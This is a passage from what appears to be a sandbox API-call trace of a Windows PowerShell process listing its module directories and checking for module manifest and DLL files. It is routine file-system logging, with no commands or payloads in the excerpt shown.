ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0204.870] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0204.870] FindClose (in: hFindFile=0x5b2de48 | out: hFindFile=0x5b2de48) returned 1 [0204.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e7ac) returned 1 [0204.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8ea0c) returned 1 [0204.870] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0204.871] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0204.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e790) returned 1 [0204.871] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a8ea54 | out: lpFileInformation=0x5a8ea54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a3bc80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0204.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e78c) returned 1 [0204.871] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0204.871] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0204.871] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0204.871] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0204.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e7b4) returned 1 [0204.871] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x26379e8 | out: lpFileInformation=0x26379e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a3bc80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0204.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e7b0) returned 1 [0204.872] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0204.872] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0204.872] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0204.872] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0204.872] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0204.872] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0204.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8ea3c) returned 1 [0204.873] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0204.873] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x3f, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0204.873] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x5a8e7ec | out: lpFindFileData=0x5a8e7ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5b2de48 [0204.873] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0204.873] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0204.874] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0204.874] FindClose (in: hFindFile=0x5b2de48 | out: hFindFile=0x5b2de48) returned 1 [0204.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e7ac) returned 1 [0204.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8ea0c) returned 1 [0204.874] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0204.874] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0204.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e790) returned 1 [0204.874] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a8ea54 | out: lpFileInformation=0x5a8ea54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0204.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e78c) returned 1 [0204.875] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0204.875] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0204.875] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0204.875] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0204.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e7b4) returned 1 [0204.875] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x26390ac | out: lpFileInformation=0x26390ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0204.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e7b0) returned 1 [0204.875] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0204.876] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0204.876] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0204.876] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0204.877] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0204.877] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0204.880] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules")) returned 0x10 [0204.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8ea3c) returned 1 [0204.881] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0204.881] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x33, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", lpFilePart=0x0) returned 0x32 [0204.882] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\*", lpFindFileData=0x5a8e7ec | out: lpFindFileData=0x5a8e7ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5b2de48 [0204.882] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0204.882] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BitsTransfer", cAlternateFileName="BITSTR~1")) returned 1 [0204.882] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CimCmdlets", cAlternateFileName="CIMCMD~1")) returned 1 [0204.882] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISE", cAlternateFileName="")) returned 1 [0204.882] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Archive", cAlternateFileName="MICROS~1.ARC")) returned 1 [0204.883] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Diagnostics", cAlternateFileName="MICROS~1.DIA")) returned 1 [0204.883] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Host", cAlternateFileName="MICROS~1.HOS")) returned 1 [0204.883] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management", cAlternateFileName="MICROS~1.MAN")) returned 1 [0204.883] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.ODataUtils", cAlternateFileName="MICROS~1.ODA")) returned 1 [0204.883] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Security", cAlternateFileName="MICROS~1.SEC")) returned 1 [0204.883] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility", cAlternateFileName="MICROS~1.UTI")) returned 1 [0204.883] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WSMan.Management", cAlternateFileName="MICROS~2.MAN")) returned 1 [0204.883] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x497da680, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x497da680, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDesiredStateConfiguration", cAlternateFileName="PSDESI~1")) returned 1 [0204.883] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8100bf6e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8100bf6e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDiagnostics", cAlternateFileName="PSDIAG~1")) returned 1 [0204.883] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSScheduledJob", cAlternateFileName="PSSCHE~1")) returned 1 [0204.883] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TroubleshootingPack", cAlternateFileName="TROUBL~1")) returned 1 [0204.883] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0204.883] FindClose (in: hFindFile=0x5b2de48 | out: hFindFile=0x5b2de48) returned 1 [0204.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e7ac) returned 1 [0204.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8ea0c) returned 1 [0204.884] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.psd1")) returned 0xffffffff [0204.884] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.psm1")) returned 0xffffffff [0204.884] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.cdxml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.cdxml")) returned 0xffffffff [0204.884] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.xaml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.xaml")) returned 0xffffffff [0204.885] GetFileAttributesW 